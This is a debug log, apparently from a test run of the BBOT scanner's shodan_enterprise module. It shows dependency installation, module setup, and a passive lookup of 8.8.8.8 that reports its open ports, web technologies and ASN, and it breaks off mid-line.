Installing Ansible Community General Collection +2026-03-02 08:52:54,937 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/ansible-galaxy collection install community.general +2026-03-02 08:52:55,976 [INFO] bbot.core.helpers.depsinstaller installer.py:475 Successfully installed Ansible Community General Collection +2026-03-02 08:52:55,976 [INFO] bbot.core.helpers.depsinstaller installer.py:492 Installing core BBOT dependencies: openssl_dev_headers +2026-03-02 08:53:04,565 [SUCCESS] bbot.core.helpers.depsinstaller logger.py:151 Authentication successful +2026-03-02 08:53:04,565 [DEBUG] bbot.core.helpers.depsinstaller installer.py:363 ansible_run(module=None, args=None, ansible_args=None) +2026-03-02 08:53:04,566 [DEBUG] bbot.core.helpers.depsinstaller installer.py:375 { + "hosts": "all", + "tasks": [ + { + "name": "Install OpenSSL library and development headers (Debian/Ubuntu)", + "package": { + "name": [ + "libssl-dev", + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Debian'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (RedHat/CentOS/Fedora)", + "package": { + "name": [ + "openssl", + "openssl-devel" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'RedHat' or ansible_facts['os_family'] == 'Suse' ", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Arch)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Archlinux'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (Alpine)", + "package": { + "name": [ + "openssl", + "openssl-dev" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'Alpine'", + "ignore_errors": true + }, + { + "name": "Install OpenSSL library and development headers (FreeBSD)", + "package": { + "name": [ + "openssl" + ], + "state": "present" + }, + "become": false, + "when": "ansible_facts['os_family'] == 'FreeBSD'", + "ignore_errors": true + } + ] +} +2026-03-02 08:53:08,765 [DEBUG] bbot.core.helpers.depsinstaller installer.py:397 Ansible status: successful +2026-03-02 08:53:08,766 [DEBUG] bbot.core.helpers.depsinstaller installer.py:398 Ansible return code: 0 +2026-03-02 08:53:08,770 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing shodan_enterprise - Preloaded Deps {'modules': [], 'pip': ['shodan'], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 08:53:08,770 [HUGEINFO] bbot.core.helpers.depsinstaller logger.py:151 Installing module dependencies. Please be patient, this may take a while. +2026-03-02 08:53:08,770 [VERBOSE] bbot.core.helpers.depsinstaller logger.py:151 Installing dependencies for module "shodan_enterprise" +2026-03-02 08:53:08,771 [INFO] bbot.core.helpers.depsinstaller installer.py:269 Installing the following pip packages: shodan +2026-03-02 08:53:08,773 [HUGEVERBOSE] bbot.core.helpers.command logger.py:151 run: /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/bin/python -m pip install --upgrade shodan --constraint /private/tmp/.bbot_test/temp/j1yylz0v13h7wburc64y +2026-03-02 08:53:09,957 [INFO] bbot.core.helpers.depsinstaller installer.py:288 Requirement already satisfied: filelock>=3.0.8 in /Users/andriikerekhovetskyi/Library/Caches/pypoetry/virtualenvs/bbot-tTmN0996-py3.13/lib/python3.13/site-packages (from tldextract->shodan) (3.18.0) +2026-03-02 08:53:09,958 [DEBUG] bbot.core.helpers.depsinstaller installer.py:202 Setup succeeded for module "shodan_enterprise" +2026-03-02 08:53:09,958 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing python - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "python" +2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing unarchive - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "unarchive" +2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:170 Installing dnsresolve - Preloaded Deps {'modules': [], 'pip': [], 'pip_constraints': [], 'shell': [], 'apt': [], 'ansible': [], 'common': []} +2026-03-02 08:53:09,959 [DEBUG] bbot.core.helpers.depsinstaller installer.py:183 No dependency work to do for module "dnsresolve" +2026-03-02 08:53:09,960 [VERBOSE] bbot.scanner logger.py:151 Loading 1 scan modules: shodan_enterprise +2026-03-02 08:53:10,033 [VERBOSE] bbot.scanner logger.py:151 Loaded module "shodan_enterprise" +2026-03-02 08:53:10,033 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) +2026-03-02 08:53:10,033 [VERBOSE] bbot.scanner logger.py:151 Loading 2 internal modules: dnsresolve,unarchive +2026-03-02 08:53:10,035 [VERBOSE] bbot.scanner logger.py:151 Loaded module "dnsresolve" +2026-03-02 08:53:10,036 [VERBOSE] bbot.scanner logger.py:151 Loaded module "unarchive" +2026-03-02 08:53:10,036 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) +2026-03-02 08:53:10,036 [VERBOSE] bbot.scanner logger.py:151 Loading 1 output modules: python +2026-03-02 08:53:10,037 [VERBOSE] bbot.scanner logger.py:151 Loaded module "python" +2026-03-02 08:53:10,037 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) +2026-03-02 08:53:10,038 [VERBOSE] bbot.scanner logger.py:151 Setting up modules +2026-03-02 08:53:10,038 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress +2026-03-02 08:53:10,038 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() +2026-03-02 08:53:10,038 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() +2026-03-02 08:53:10,039 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress +2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve +2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() +2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() +2026-03-02 08:53:10,039 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve +2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise +2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() +2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() +2026-03-02 08:53:10,040 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise +2026-03-02 08:53:10,040 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive +2026-03-02 08:53:10,041 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() +2026-03-02 08:53:10,041 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() +2026-03-02 08:53:10,041 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive +2026-03-02 08:53:10,041 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python +2026-03-02 08:53:10,041 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() +2026-03-02 08:53:10,041 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() +2026-03-02 08:53:10,042 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python +2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress +2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() +2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() +2026-03-02 08:53:10,042 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress +2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) +2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) +2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) +2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) +2026-03-02 08:53:10,043 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) +2026-03-02 08:53:10,044 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) +2026-03-02 08:53:10,044 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue +2026-03-02 08:53:10,044 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue +2026-03-02 08:53:10,044 [SUCCESS] bbot.scanner logger.py:151 Setup succeeded for 6/6 modules. +2026-03-02 08:53:10,044 [DEBUG] bbot base.py:109 Executing setup_after_prep() +2026-03-02 08:53:10,045 [DEBUG] bbot base.py:111 Starting scan +2026-03-02 08:53:10,128 [HUGESUCCESS] bbot.scanner logger.py:151 Starting scan testshodan_enterprise_test_mme5eu3wjs +2026-03-02 08:53:10,128 [VERBOSE] bbot.scanner logger.py:151 Starting module worker loops +2026-03-02 08:53:10,194 [VERBOSE] bbot.scanner logger.py:151 6 modules started +2026-03-02 08:53:10,194 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING +2026-03-02 08:53:10,194 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING +2026-03-02 08:53:10,195 [VERBOSE] bbot.modules._scan_ingress logger.py:151 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-02 08:53:10,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) passed post-check +2026-03-02 08:53:10,296 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) +2026-03-02 08:53:10,297 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'distance-1', 'target', 'ipv4'}) in-scope because its main host matches the scan target +2026-03-02 08:53:10,298 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 08:53:10,299 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 08:53:10,300 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 08:53:10,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 08:53:10,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 08:53:10,302 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 08:53:10,302 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 08:53:10,303 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 08:53:10,304 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 08:53:10,304 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 08:53:10,305 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) +2026-03-02 08:53:10,306 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded +2026-03-02 08:53:10,308 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 08:53:10,308 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 08:53:10,309 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 08:53:10,309 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 08:53:10,309 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-02 08:53:10,310 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) because precheck succeeded +2026-03-02 08:53:10,310 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-02 08:53:10,310 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 08:53:10,310 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 08:53:10,415 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) +2026-03-02 08:53:10,416 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET +2026-03-02 08:53:10,416 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:6693a46344a314b464cf4a38ab09d5513c48d737', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check +2026-03-02 08:53:10,416 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) from TARGET +2026-03-02 08:53:10,417 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'in-scope', 'target', 'ipv4'}) passed post-check +2026-03-02 08:53:10,417 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 08:53:10,418 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,419 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-03-02 08:53:10,419 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-03-02 08:53:10,419 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,419 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) in-scope because its main host matches the scan target +2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,420 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-03-02 08:53:10,421 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,422 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,423 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,423 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-03-02 08:53:10,424 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,424 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,424 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target +2026-03-02 08:53:10,424 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,425 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-02 08:53:10,425 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) passed post-check +2026-03-02 08:53:10,425 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-03-02 08:53:10,425 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-03-02 08:53:10,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-03-02 08:53:10,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,426 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,427 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) in-scope because its main host matches the scan target +2026-03-02 08:53:10,427 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) +2026-03-02 08:53:10,428 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'miscellaneous'}) because precheck succeeded +2026-03-02 08:53:10,428 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,428 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,428 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-03-02 08:53:10,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-02 08:53:10,429 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 08:53:10,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-03-02 08:53:10,430 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-03-02 08:53:10,430 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,430 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-02 08:53:10,431 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check +2026-03-02 08:53:10,431 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 08:53:10,431 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-03-02 08:53:10,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) +2026-03-02 08:53:10,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 08:53:10,432 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) +2026-03-02 08:53:10,432 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded +2026-03-02 08:53:10,433 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) passed post-check +2026-03-02 08:53:10,433 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-03-02 08:53:10,433 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) +2026-03-02 08:53:10,433 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'in-scope', 'web-technology', 'security'}) because precheck succeeded +2026-03-02 08:53:10,434 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check +2026-03-02 08:53:10,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 08:53:10,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) +2026-03-02 08:53:10,434 